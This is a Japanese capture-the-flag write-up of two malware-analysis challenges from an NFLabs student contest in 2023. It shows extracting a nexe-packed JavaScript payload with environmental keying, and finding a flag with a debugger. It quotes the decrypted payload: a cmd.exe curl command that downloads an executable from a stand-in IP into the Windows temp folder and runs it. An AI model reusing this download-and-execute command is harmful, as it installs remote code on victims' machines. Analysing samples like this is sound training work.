NFLabs. Cybersecurity Challenge for Students 2023に参加した。Malware編のwriteupを書く。
Malware編
[Easy] wordle
Description
我が社の海外拠点でアラートがあがったみたい!!
……って、業務用端末でゲームしちゃだめでしょ😠💢💢💢
しかもこれ、表層情報見たら変なコード入ってるじゃん!!さては、怪しいところから落としてきたな???
zip の password:nflabs
- sha256(wordle.zip):
5ef9382dd1cccfa2505b8e19c2b469ee9b7289df76c1549a1f52ba5d90c84bdd
Files
file
でどのようなファイルか確認するとwordle.exe: PE32+ executable (console) x86-64, for MS Windows
とある。
strings
で連続するascii文字列を見るとwordleに関係してそうなjsonが埋め込まれていることがわかる。
"Voice",
"Waste",
"Watch",
"Water",
"While",
"White",
"Whole",
"Woman",
"World",
"Youth"
]<nexe~~sentinel>
nexeについて調べるとhttps://github.com/nexe/nexeが見つかる。nexeはNode.js application into a single executable fileができるツールであることがわかる。
とりあえず、JSに関係していそうなファイルをコマンドdd
を用いて抽出する。
dd if=./wordle.exe of=./wordle.exe.extracted bs=1 skip=55876096 count=360962
次のようなファイルが手に入る。
setup()
という本質っぽいブロックに注目する。
環境変数を鍵の一部として復号するenvironmental keyingっぽいことをしている。
Date.prototype.getTimezoneOffset()
==480
な場合、ハードコードされた文字列を復号してexec
する。
Timezone offsetが条件を満たさないとearly returnされて本質部分がdead codeになるが、適当に書き換えて実行するとflagが得られた。
cmd.exe /c curl.exe -H 'FLAG: NFLABS{Plz_DL_g4m35_fr0m_4_l3g1t1m4t3_w3bs1t35!!}' http://192.0.2.1/m.exe -o C:\Windows\Temp\m.exe && C:\Windows\Temp\m.exe
flag: NFLABS{Plz_DL_g4m35_fr0m_4_l3g1t1m4t3_w3bs1t35!!}
[Easy] RCrypt
Description
不審な動きをする実行ファイル(RCrypt.exe)が見つかりました。 RCrypt.exeの内部動作を解析しましょう。
zip の password:
nflabs
- sha256(RCrypt.zip):
2c11fa829641d38df647ddf2f07c54a6b6708992d90625ef744d32992c85f889
Files
GET
, POST
などの文字列が見える。
デバッガー(x64dbg)を用い、ctrl+shift+g
でrvaのブレイクポイントを張り実行した。
メモリ上にflagが存在する。
flag: NFLABS{Secret_Data}
最後に
- 全ての"Malware"カテゴリーの問題ファイルがPEファイルだった。普段取り組むCTFと毛色が異なり新鮮だった。
- DLL Sideloadingの問題に取り組んでいたが、正しくIATを復元できなかった/正しいunpackを行えていなかった。残念。Unpackについて考えたい。
- (なおTwitterで問題作成者が元ネタに関する記事を投稿していたので、Twitter Intelligenceを使って探せばより早く解けたかもしれない。Twitter Intelligenceを舐めてはいけないという教訓。)